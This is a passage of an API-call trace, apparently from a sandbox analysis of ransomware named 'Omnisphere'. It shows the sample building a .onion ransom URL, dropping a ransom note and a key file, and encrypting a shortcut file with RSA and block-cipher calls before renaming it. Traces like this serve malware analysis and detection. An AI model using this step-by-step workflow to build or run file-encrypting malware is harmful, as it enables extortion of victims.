lpUsedDefaultChar=0x0) returned 30 [0126.870] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.870] GetProcessHeap () returned 0x1600000 [0126.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7e08 [0126.870] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7e08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.870] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.870] GetProcessHeap () returned 0x1600000 [0126.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16d9a68 [0126.870] PathCombineW (in: pszDest=0x16d9a68, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.870] GetProcessHeap () returned 0x1600000 [0126.870] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e2128 [0126.870] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.871] WriteFile (in: hFile=0x28c, lpBuffer=0x16e2128*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e2128*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.871] CloseHandle (hObject=0x28c) returned 1 [0126.871] GetProcessHeap () returned 0x1600000 [0126.871] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16ef310 | out: hHeap=0x1600000) returned 1 [0126.871] GetProcessHeap () returned 0x1600000 [0126.871] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.871] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.871] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.871] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.872] CloseHandle (hObject=0x28c) returned 1 [0126.872] GetProcessHeap () returned 0x1600000 [0126.872] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.872] GetProcessHeap () returned 0x1600000 [0126.872] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d93f0 | out: hHeap=0x1600000) returned 1 [0126.872] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9b8361, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1d9b8361, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1d9b8361, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0xd3, cFileName="PXK c4e_XP6QO.lnk", cAlternateFileName="PXKC4E~1.LNK")) returned 1 [0126.872] GetProcessHeap () returned 0x1600000 [0126.872] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.872] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="PXK c4e_XP6QO.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk" [0126.872] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.872] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pxk c4e_xp6qo.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.872] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=974) returned 1 [0126.872] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa89 [0126.873] GetTickCount () returned 0x115fa99 [0126.873] GetTickCount () returned 0x115fa99 [0126.873] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] GetTickCount () returned 0x115fa99 [0126.874] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1669010) returned 1 [0126.874] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0126.874] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.874] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.875] CryptReleaseContext (hProv=0x1669010, dwFlags=0x0) returned 1 [0126.875] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3ce, lpName=0x0) returned 0x288 [0126.875] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3ce) returned 0x1480000 [0126.875] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668f88) returned 1 [0126.875] CryptImportKey (in: hProv=0x1668f88, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0126.876] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.876] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.877] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.878] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.878] CryptReleaseContext (hProv=0x1668f88, dwFlags=0x0) returned 1 [0126.878] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x3ce, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.878] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.878] GetProcessHeap () returned 0x1600000 [0126.878] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x16ec100 [0126.879] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pxk c4e_xp6qo.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pxk c4e_xp6qo.lnk.omnisphere")) returned 1 [0126.879] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk.omnisphere.id" [0126.879] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\PXK c4e_XP6QO.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\pxk c4e_xp6qo.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.880] 